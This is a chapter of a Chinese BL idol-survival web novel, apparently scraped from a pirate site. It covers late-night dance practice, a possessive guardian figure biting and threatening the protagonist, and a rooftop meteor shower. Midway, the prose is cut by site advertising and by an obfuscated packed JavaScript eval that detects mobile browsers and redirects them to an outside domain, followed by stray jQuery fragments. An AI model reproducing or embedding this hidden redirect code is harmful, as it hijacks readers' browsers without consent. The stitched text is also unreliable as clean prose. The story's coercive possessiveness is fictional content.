第39章 流星

作品:《选秀万人迷,但性单恋[娱乐圈]

    等到编舞结束,再教会夏亦扬与余舟霄分解动作,已是凌晨时分。


    因着最后打磨了一下动作设计,故而颜西因与陆再思是六人组中最晚离开的。


    他俩走出练习室时,颜西因呵欠一个接一个,眼眶通红满眼是泪,半耷拉着眼帘缓缓道:“一定要回宿舍吗……不然在这里休息算了。”


    陆再思不赞成道:“沙发那么窄,地板那么硬,你这娇贵的小身板睡一晚上不腰酸背痛才怪。”


    他在颜西因身前蹲下,道:“上来吧,背你回去。”


    颜西因半晌没动,蓦地道:“我好像看到周既权他们了。”


    陆再思不信,顿时道:“这都几点了。”


    颜西因却朝前挥手道:“周既权!”


    随即陆再思便听见了急促足音渐渐靠近。


    陆再思:“。”


    316的其余四人都来了,周既权微笑着解释道:“这么晚回宿舍不安全,所以来接你。”


    陆再思站起身,笑道:“是觉得这几百米的路我都照顾不好小西因?”


    周既权道:“当然不是,只是谁都保证不了园区里会不会混进歹徒之类的。”


    陆再思面无表情——那不还是觉得他不行?


    他揽了揽颜西因肩头,笑道:“说得很有道理,小西因刚刚还说这么晚干脆在练习室睡算了,我担心在练习室睡不好就没答应,但是的确很不安全,下次要是再练到很晚的话,我们俩就不回去了,一块儿在练习室对付一晚上。”


    颜西因看向背后的练习室门扉,揉揉眼睛道:“不用下次,现在就可以回去。”


    陆再思道:“说得也是,不然我们……”


    周既权道:“真羡慕你们组,这么顺利就编好了舞。”


    茶言茶语的经典开头。


    果然,周既权继续道:“不像我们组……”


    颜西因困惑道:“你们组一共三个人,都协调不好吗?”


    《Titan》组除了周既权及岑从野之外还有一名中位圈练习生,整体配置不错,照理说现在应该已经根据beat写好rap词了才对。


    说话间两人已经无意识地向前走了一小段——至少颜西因是无意识地——远离了练习室。


    周既权摇摇头道:“和人数无关,即使只有两个人,意见完全相左也会无法推进。”


    颜西因点头,又打了个呵欠,方道:“但是还有几天才公演,说不定你们组就是选秀经


    典先抑后扬剧本,彩排的时候还被导师们批评,上台就超常发挥了。”


    周既权单手虚虚握拳,抵在唇畔笑道:“那承你吉言。”


    “不过,”颜西因道,“以后让岑从野他们过来就好了,你不要这么晚来接我,如果我更喜欢你了怎么办呢,我还从来没有喜欢谁这么久呢。”


    他被自己的话提醒了一下,喃喃道:“我们来这里多久了来着……”


    “两个月。”周既权道。


    颜西因这才意识到自己喜欢周既权的时长已经远超过往上限。


    周既权稍稍低头注视他的眼睛,问道:“我听说你以前喜欢别人都没有超过一个月,你真的喜欢我?我没有喜欢你的话……你就会一直喜欢我吗?”


    颜西因最该起疑的是周既权从哪里听说的。


    可周既权这番话的重点落在后头,他便忽略了前半段的异常。


    他正要回答,一旁岑从野却陡然冷笑了声,道:“保质期的意思是最佳使用或食用期,不是说经过了就直接不能用,但也是秋后的蚂蚱,蹦跶不了多久。”


    小说</a>更新,记住域名caixs?(请来才


    小说


    看最新章节


    完整章节)


    周既权神情本无变化,但颜西因迅速转头望向岑从野,讶然道:“很有道理。”


    周既权:“。”


    岑从野唇角抿出一点微不可察的上扬角度,低声道:“哪有人配让你一直喜欢的。”


    宿舍近在眼前,颜西因却忽而道:“你们先回去吧。”


    程子敬不解道:“宝宝,这么晚你要去哪儿?”


    颜西因朝另一个方向走,意味不明道:“……喂狗。”


    去喂狗的小猫,才转过第一个弯儿便被狗给逮住了。


    颜西因先发制人,道:“你一直都在跟踪我。”


    厉原北直接扛起他疾步走进自己的住处。


    颜西因被放到书桌上坐着,尚未坐稳,男人火热的身躯便已霍然压下。


    厉原北臂膀宽阔结实,箍得颜西因完全动弹不得。


    颜西因踹他,同时道:“即使没人发现,你也不要像个变丨态一样白天黑夜都跟着我。”


    “两个月了,”厉原北贴着他颈侧,嗓音压抑,“什么时候,你才会厌烦周既权?”


    困意令颜西因忍不住阖上眼,嗓音轻柔如同情意缠绵,然而话中之意却十足的没心没肺:“哥哥,是你自己答应我的,不计代价不计后果地对我好,永远纵容我,永远都不会背叛我,永远给我当奴才唔……!”


    厉原北咬住了他


    唇瓣,经年累月求不得的欲念如野火燎原,灼烧得人理智只差一线便会化作飞灰。


    厉原北不知不觉越咬越用力,道:“但哥哥没有让你喜欢一个男人喜欢这么久,连个明确的期限都没有……我养你这么大,你转头就跟别人跑,你一定要看我发疯是不是?


    颜西因有一瞬间的怔然。


    起初以为厉原北敢亲他,但他旋即意识到厉原北只是在咬他的嘴。


    正如他第一次告诉厉原北自己喜欢某个人时,厉原北也像发疯似的咬他颈侧,嗓音冰冷阴沉:“你但凡还想看他留条命,就不要再跟哥哥提一句你喜欢他。


    话说得如此狠绝,不留一丝余地,可颜西因仅仅掉了两行眼泪,厉原北又束手无策投降让步,说喜欢那条野狗可以,但他才十七岁,绝对不允许搞到床上去。


    冠冕堂皇拿年龄做幌子,半个字不提自己做过什么。


    颜西因抬手打了一下厉原北的脸,理直气壮道:“喜欢谁难道是我自己可以控制的吗,你如果敢咬到影响我上镜,我绝对不会原谅你。


    厉原北咬紧了便不肯松口,兀自在他唇瓣上辗转碾弄厮磨。


    颜西因双唇又酸又麻,生理性泪水随之溢出。


    指尖触及身丨下书桌,光滑冰凉,连个可攥的东西都没有。


    他只得艰难开口,但表情是笑着的,如同他过往每一次要说些什么来勾得厉原北服服帖帖那样。


    他道:“阿北,其实我什么都知道……我只是仗着你对我好。


    厉原北果然动作一滞。


    他盯着颜西因,缓缓问道:“你说你什么都知道?


    颜西因嘴唇得了解脱,立即抬手捂住,瓮声瓮气道:“我当然知道。


    厉原北注视着他双眼,几乎一瞬间便明白他不知道。


    这个小骗子。


    厉原北对他二十年如一日的溺爱、服从、偏执模糊了情感的界限。


    在颜西因看来厉原北如兄如父如师如友,又是家人,他从未试图去捋清两人之间关系的本质是什么。


    厉原北真正的心意,都藏在极强的掌控欲与混杂悖乱的情感之下,颜西因又哪里会知道。


    --


    雨季湿度高,晴夜变成了奢侈品。


    故而今夜颜西因从厉原北那里出来,视线无意间透过走廊上的窗子向外看去,见到墨蓝天穹高远剔透、万千晚星熠熠如长河时,有一瞬间的怔然。


    自从杜


    浦榕轻生事件之后,节目组把所有位置的窗户都换成上悬窗,张开大小有限,楼顶天台也用铁丝网封起,彻底杜绝坠亡的可能。


    但好在铁丝之间还是有小小的空隙,顶部也并未封死,仅仅上天台观景的话不受影响。


    推开天台的小门,颜西因才迈出第一步,前方的青年便回过头来。


    颜西因眨了眨眼,问道:“舞蹈难度可以再降低一点。


    夏亦扬闻言一愣,明白过来后倏地笑了下,稍稍往后退了一步远离天台边缘,道:“我不是要跳楼。


    又补充道:“更不是因为学不会舞蹈去跳楼。


    颜西因慢悠悠走上前,月光远不如日光强烈,于是他一双琥珀色浅瞳在柔和幽暗的夜间越发显得大而澄明,像一只满瞳状态的小猫。


    他仰起头望着天际闪烁的星子,道:“节目组给每个练习生都安排了心理测评。


    今日练习时他察觉夏亦扬手指有时会出现细微的抖动,并且有数次反应迟钝现象,而现下夏亦扬衣服口袋里露出白色药瓶的一小部分,不难判断对方大概是什么情形。


    夏亦扬张了张唇,低下头闷声道:“其实已经轮到我了,这药就是医生开给我的。


    “待在练习室里时间长了,我会眼前发黑,有种想吐的感觉,还会耳鸣,尤其是再加上面对摄像机的时候。本来这种症状很轻,但是随着在这里封闭的时间越来越久……


    “不过小玫瑰,他注视着颜西因,道,“虽然我不擅长dance,可是能跟你一组,我心里比分到其他vocal组更安定。


    “你比这个,他指了指自己的药瓶,道,“更有用。


    颜西因歪了歪脑袋,道:“哪怕你因此拿不到加票,在第二轮离开?


    二公个人战,组内有几个名副其实的舞担在,夏亦扬拿到第一加票的概率完全是零。


    夏亦扬点头道:“我焦虑的来源不是票数、顺位,而是我总预判自己会演砸、会在舞台上表现得糟糕至极。


    “但是和你做队友就不会,小玫瑰,有你在,就不会有这种可能发生,你站在舞台上,就像这场表演的灵魂。


    今夜云层薄到轻柔的程度,墨水蓝的天幕如同那幅举世闻名的《星月夜》。


    夏亦扬道:“我演的第一部剧,里面有这样一句台词。


    ——“世间美好事物不可胜计,但能令人刻骨铭心的,或


    者在于其必然的流逝,比如童年与青春;或者在于……”


    “在于其遥远神秘、永不可得,比如星空,或是这枚月亮。”


    他念罢,禁不住渐渐低头,离颜西因越来越近,同时道:“登月的人再如何一个接一个,也终究是少数中的少数,何况即使登上去了,‘月球’与人心中的‘月亮’,也并非同一指代。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15079070|151674||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “月亮,永远只能在一夜又一夜里,仰着头看。”


    直至两人之间近到呼吸可闻,颜西因才收回望向夜空的视线,看着近在咫尺的人,问道:“你的台词说得很好,你之前说是因为没有片约、你没有选择的权利,但这次选秀之后应该有片方会来找你,如果你不适应舞台,还是可以回去做演员。”


    夏亦扬道:“那时候那样告诉你,我的确更倾向于再回到片场,但是现在……”


    他徐徐吐出一口气,道:“如果舞台上有想并肩的同伴,那舞台也可以不再是不安和重压,而是另一个可以发挥余热的地方。”


    夏亦扬喉头滚了滚,道:“不过现在行业内新人一茬接一茬,如果哪天我无法再站上舞台,可能会尝试转幕后做导演,小玫瑰,到时候你愿意接我的戏吗?”


    颜西因很有原则道:“我暂时没有做演员的想法,或许到时候我只能去客串,但还是祝你届时票房大卖或者收视长虹。”


    夏亦扬笑了笑,喃喃道:“……是你的作风。”


    “你们两个怎么单独待这儿啊?”


    身后响起整个节目能量最足的嗓音,樊则煦那头金毛在夜里都很是显眼,他手中拿着相机,走上前来勾住颜西因肩膀道:“我就说这儿视角好,保证出片。”


    颜西因问道:“什么出片?”


    “英仙座流星雨啊,”樊则煦道,“今年最具观赏性的一场,据说每小时千颗以上,肉眼也能看到。”


    他话音落下的瞬间,天台门再次开启,四道高大身影向他们走近。


    与此同时,东北方向的天际陡然划过一道极亮的、细长的流光。


    夜空通透,十数秒内竟有五六颗流星划过,甚至三四颗流星一同出现。


    樊则煦举着相机大气不敢出,颜西因也正目不转睛地注视着这难得一见的盛景,肩头陡然一暖。


    他偏头望去,岑从野收回给他披外套的手,道:“不许愿吗?”


    颜西因道:“我暂时还没有想到要许什么愿望。”


    “


    希望《挣脱》舞台圆满完成?陆再思笑道。


    颜西因点点头道:“也不错。


    说话间又几颗流星滑落,他稍稍垂眼。


    世间唯二同他有血缘牵系的人,所处的位置应该更适合观赏流星雨吧?


    他们也会出来看吗,还是仍然在实验室里与数据为伴呢?


    他目光这样低垂下去,透过铁丝网之间的空隙,与楼底下伫立的人对上眼神。


    ——厉原北几乎完全背对流星雨的方向,也不晓得在那里站了多久,像与夜色融为一体。


    颜西因并未出声,甚至迅速收回了视线。


    只是在暗处,他伸出猫爪子,朝厉原北亮了亮。


    ……他周围不仅有几位室友,还有樊则煦和夏亦扬。


    他可不想再扩大两人关系的知情范围,厉原北就那么直戳戳杵在那里,白白给猫添乱。


    “我们拍张合照吧。


    周既权拿出手机,站到颜西因身侧,微笑道。


    “来来来。樊则煦闻声转回身来,挤进了两人之间,而后其余几人也都陆陆续续围拢过来。


    周既权脸上的笑似乎有一瞬间的僵硬,但再按下快门之前,表情已调整成自然的模样。


    颜西因在画面最中心,拍照时的表情管理于他而言轻而易举。


    可当他面对镜头弯起双眼时,右手掌心却蓦地一紧,接触到男人偏高的体温。


    他便转过脸去,恰好周既权也转头看来,面露歉意:“人太多,是不是碰到你了?


    他这样说着,快门也按了下去。


    于是照片中便呈现出他与颜西因对视的模样。


    岑从野淡淡道:“这也没把小蛋糕拍好啊,删了我来拍吧。


    “背景里恰好有两颗流星,周既权将手机递到颜西因眼下,道,“倒是很难得。


    “流星多得是,接下来两三个小时都是爆发期。岑从野道。


    颜西因:“。


    他就这样成了决定这张照片去留的人。


    面对一左一右两人灼灼的视线,颜西因正要开口,鼻尖却陡然一痒,换成了个喷嚏。


    “冻着了?岑从野神情立时转为严峻,抬手道,“先把外套袖子穿上。


    陆再思道:“时间也不早了,天台上风大,我们都撤吧。


    余下几人并无异议,樊则煦嘚儿嘚儿地跑到颜西因身侧,不假思索地抬起手臂揽住他,道:“小玫瑰你冷吗,我从小就火气旺身上暖和,我给你捂着。


    他并未夸大其词,颜西因觉得自己仿佛靠在个暖炉上,顺势道:“你好像比这件外套还要暖和。


    樊则煦立时喜笑颜开,道:“那当然,我是活的,衣服是死的。


    话音才落,他忽然觉得脊背刺上来一股寒意。


    樊则煦缓缓回头,对上岑从野的目光,犹豫道:“……怎么了?


    岑从野面无表情地看着他,半晌冷嗤了一声。


    作者有话要说:


    夏亦扬是焦虑,不是抑郁哈


    俩眼一睁就是雄竞[菜狗][菜狗][菜狗]


    下章播出第一次顺位发表!!![星星眼]